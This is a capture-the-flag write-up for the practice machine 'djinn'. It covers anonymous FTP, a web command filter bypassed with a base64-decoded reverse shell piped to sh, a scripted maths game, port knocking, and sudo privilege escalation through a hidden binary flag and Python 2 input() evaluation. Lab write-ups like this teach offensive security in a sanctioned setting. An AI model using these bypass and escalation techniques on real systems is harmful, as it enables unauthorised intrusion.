Room link

Objectives

Capture user.txt and root.txt flags

Steps

Enumeration

First of all, we run a full portscan on the machine with nmap

1
2
3
4
5
6
7
8
9
Nmap scan report for <IP>
Host is up (0.064s latency).
Not shown: 65531 closed ports
PORT     STATE    SERVICE VERSION
21/tcp   open     ftp     vsftpd 3.0.3
22/tcp   filtered ssh
1337/tcp open     waste?
7331/tcp open     http    Werkzeug httpd 0.16.0 (Python 2.7.15+)
Service Info: OS: Unix

FTP

We see that there is a FTP server running
After logging in as “Anonymous” we can see few files:

1
2
3
-rw-r--r--    1 0        0              11 Oct 20 23:54 creds.txt
-rw-r--r--    1 0        0             128 Oct 21 00:23 game.txt
-rw-r--r--    1 0        0             113 Oct 21 00:23 message.txt

creds.txt

1
nitu:<REDACTED>

game.txt

1
2
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the 
final level and get the prize.

message.txt

1
2
@nitish81299 I am going on holidays for few days, please take care of all the work. 
And don't mess up anything.

OSINT

The “@” could be a sign of a username. A quick check on google/duckduckgo gives us a GitHub profile. Github profile There is an interesting note pinned to the profile:

1
2
3
4
5
6
7
8
9
I am so sick and tired of @mzfr telling me to keep my stuff secure, I mean who the hell is going to hack me?
No one knows me, I got nothing to lose. But still I don't want him bugging around me shouting things like "stay paranoid, stay happy".

It's hard to remember things so I'm simply write it down:

1. Always use pass greater the 8 digits and it should have alphanumeric values.
2. Always keep the development stuff in dev folder.
3. Do not write down your credentials in some file.
4. Use password manager(I think I should do that)


This tells us that:

HTTP

There is an http server on the machine on port 7331 with a pretty empty page containing only “Let’s see how good your are.”, empty links and template creator references. Website
Nothing interesting here so let’s scan the server for directories

1
2
3
# Command: gobuster dir -u http://<IP>:7331/ -w ../SecLists/Discovery/Web-Content/raft-medium-directories.txt
/wish (Status: 200)
/genie (Status: 200)


The genie dir shows us a fancy 403 site and a barely readable “It’s not that hard” behind the graphics Genie 403 Genie 403 text

The wish directory shows us some kind of form with the parameter named “cmd” Wish form Wish form source

Submitting a request with “ls” redirects us to the genie page with a suspicious query:

1
?name=app.py%0Aapp.pyc%0Astatic%0Atemplates%0A

and the command result in the same place the “I’s not that hard” text would be.
Trying to run “cat app.py”, “cat app.pyc” or “cat /etc/passwd” gives us a weird result:

1
Wrong choice of words

This tells us there is probably some kind of a filter that checks our command before executing it with “cat” being one of the keywords. After further tweaking there are also some blacklisted characters like “/”, “$” and “.”

Let’s try to bypass the check with base64. We can encode a CLI reverse shell and try to execute it with the help of other commands:

1
echo "<OUR_PAYLOAD>" | base64 -d | sh

Reverse Shell

Now that we have a reverse shell let’s look around the filesystem to gather some information

1
2
3
www-data@djinn:/opt/80$ ls /home
nitish
sam

We can see that there is another user called “sam” but we can’t access his home folder, so let’s try to get info from the other user:

1
2
3
4
5
6
7
8
9
10
www-data@djinn:/opt/80$ ls -al /home/nitish/
total 32
drwxr-xr-x 5 nitish nitish 4096 Nov 12 17:29 .
drwxr-xr-x 4 root   root   4096 Nov 14 19:50 ..
-rw------- 1 root   root    130 Nov 12 17:16 .bash_history
-rw-r--r-- 1 nitish nitish 3771 Nov 11 20:17 .bashrc
drwx------ 2 nitish nitish 4096 Nov 11 19:31 .cache
drwxr-xr-x 2 nitish nitish 4096 Oct 21 00:29 .dev
drwx------ 3 nitish nitish 4096 Nov 11 19:31 .gnupg
-rw-r----- 1 nitish nitish   33 Nov 12 17:29 user.txt

Now we that we have access to the home folder can grab the user flag. Besides the flag there is a .dev folder that is a bit unusual so let’s check it out

1
2
www-data@djinn:/opt/80$ ls /home/nitish/.dev/
creds.txt

There is a file called creds.txt that contains - you guessed it - credentials:

1
2
www-data@djinn:/opt/80$ cat /home/nitish/.dev/creds.txt
nitish:<REDACTED>

After trying to log in via ssh with these credentials we see that the port is blocked.

The game

The “game.txt” file mentioned a “game” on port 1337 so let’s check it out as it may contain something to help us progress.
After connecting to it with nc we see a banner, the task and a prompt:

1
2
3
4
5
6
7
8
9
10
11
  ____                        _____ _                
 / ___| __ _ _ __ ___   ___  |_   _(_)_ __ ___   ___ 
| |  _ / _` | '_ ` _ \ / _ \   | | | | '_ ` _ \ / _ \
| |_| | (_| | | | | | |  __/   | | | | | | | | |  __/
 \____|\__,_|_| |_| |_|\___|   |_| |_|_| |_| |_|\___|
                                                     

Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift.
(5, '*', 6)
>


After doing around 20 of these riddles it is quite obvious that a script will do it in a faster and more reliable way so let’s do that

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from socket import socket
import math
import time

host = "<IP>"
port = 1337

sock = socket()
sock.connect((host, port))

time.sleep(1)

while True:
  # time.sleep(1) # slowing it down because of my internet connection
  recieved = sock.recv(1024)
  print(recieved.decode('utf-8'))

  msg = recieved.split(b'\n')[-2:]
  answer = eval(msg[0].decode('utf-8').replace("(", "").replace(")", "").replace("'", "").replace(",", ""))

  print(msg[0].decode('utf-8') + ": " + str(answer))
  sock.send((str(answer) + "\n").encode())

After 1000 questions answered we get our gift:

1
2
3
Here is your gift, I hope you know what to do with it:

1356, 6784, 3409


It looks like a port sequence to knock at so let’s try to do it and open an ssh connection immediately after that

1
knock 1356 6784 3409 && ssh nitish@<IP>

Shell (nitish)

We finally have a stable shell via ssh!
After trying several commands and running linpeas we see that nitish is able to execute one command with sudo as “sam”:

1
2
3
4
5
6
nitish@djinn:/home$ sudo -l
Matching Defaults entries for nitish on djinn:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nitish may run the following commands on djinn:
    (sam) NOPASSWD: /usr/bin/genie


After running “genie -h” we see that this is some kind of a custom binary for this box

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nitish@djinn:/home$ genie -h
usage: genie [-h] [-g] [-p SHELL] [-e EXEC] wish

I know you've came to me bearing wishes in mind. So go ahead make your wishes.

positional arguments:
  wish                  Enter your wish

optional arguments:
  -h, --help            show this help message and exit
  -g, --god             pass the wish to god
  -p SHELL, --shell SHELL
                        Gives you shell
  -e EXEC, --exec EXEC  execute command

Most of the commands are blocked so after a bit of investigating there is a hidden “-cmd” parameter that allows us to bypass the check:

1
2
3
4
5
nitish@djinn:/home$ sudo -u sam genie -cmd -e /bin/bash 1
my man!!
$ whoami
sam
$ 

Shell (sam)

Now we can finally check sam’s home directory

1
2
3
4
5
6
7
8
9
10
11
12
sam@djinn:/home/sam$ ls -al
total 36
drwxr-x--- 4 sam  sam  4096 Nov 14 21:11 .
drwxr-xr-x 4 root root 4096 Nov 14 19:50 ..
-rw------- 1 root root  417 Nov 14 20:59 .bash_history
-rw-r--r-- 1 root root  220 Oct 20 23:33 .bash_logout
-rw-r--r-- 1 sam  sam  3771 Oct 20 23:33 .bashrc
drwx------ 2 sam  sam  4096 Nov 11 19:28 .cache
drwx------ 3 sam  sam  4096 Oct 20 23:36 .gnupg
-rw-r--r-- 1 sam  sam   807 Oct 20 23:33 .profile
-rw-r--r-- 1 sam  sam  1749 Nov  7 18:44 .pyc
-rw-r--r-- 1 sam  sam     0 Nov  7 20:20 .sudo_as_admin_successful

The only interesting file here is the “.pyc” file but we’ll get to it in a second.
There is only one command that sam can run as sudo without a password which we don’t have

1
2
3
sam@djinn:/home/sam$ sudo -l
User sam may run the following commands on djinn:
    (root) NOPASSWD: /root/lago

We can’t access this file without sudo but after running it it gives us a menu:

1
2
3
4
5
6
7
sam@djinn:/home/sam$ sudo /root/lago
What do you want to do ?
1 - Be naughty
2 - Guess the number
3 - Read some damn files
4 - Work
Enter your choice:


Number 1 returns “Working on it!!”
Number 2 makes us guess a number Number 3 “allows” us to read a file but tells us that user root cannot read a file or exits with “Slow clap for this hacker right here” Number 4 returns “work your ass off!!”

Without any obvious things to do let’s check out the “.pyc” file that I mentioned earlier. It’s a compiled python file which - from what it looks like - is the same file as the lago executable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from getpass import getuser
from os import system
from random import randint

def naughtyboi():
    print 'Working on it!! '


def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'


def readfiles():
    user = getuser()
    path = input('Enter the full of the file to read: ')
    print 'User %s is not allowed to read %s' % (user, path)


def options():
    print 'What do you want to do ?'
    print '1 - Be naughty'
    print '2 - Guess the number'
    print '3 - Read some damn files'
    print '4 - Work'
    choice = int(input('Enter your choice: '))
    return choice


def main(op):
    if op == 1:
        naughtyboi()
    else:
        if op == 2:
            guessit()
        else:
            if op == 3:
                readfiles()
            else:
                if op == 4:
                    print 'work your ass off!!'
                else:
                    print 'Do something better with your life'


if __name__ == '__main__':
    main(options())

By reading the code we learn that:

Let’s try to exploit this vuln:

1
2
3
4
5
6
7
8
9
10
11
sam@djinn:/home/sam$ sudo /root/lago
What do you want to do ?
1 - Be naughty
2 - Guess the number
3 - Read some damn files
4 - Work
Enter your choice:2
Choose a number between 1 to 100: 
Enter your number: num
# whoami
root

Shell (root)

Now that we have a root shell let’s get that root flag from /root
Finally we have a flag in “proof.sh” file so let’s run it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
    _                        _             _ _ _ 
   / \   _ __ ___   __ _ ___(_)_ __   __ _| | | |
  / _ \ | '_ ` _ \ / _` |_  / | '_ \ / _` | | | |
 / ___ \| | | | | | (_| |/ /| | | | | (_| |_|_|_|
/_/   \_\_| |_| |_|\__,_/___|_|_| |_|\__, (_|_|_)
                                     |___/       
djinn pwned...
__________________________________________________________________________

Proof: <REDACTED>
Path: /root
Date: recently :D
Whoami: root
__________________________________________________________________________

By @0xmzfr

Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-)





Thanks for reading, hope you learned something :)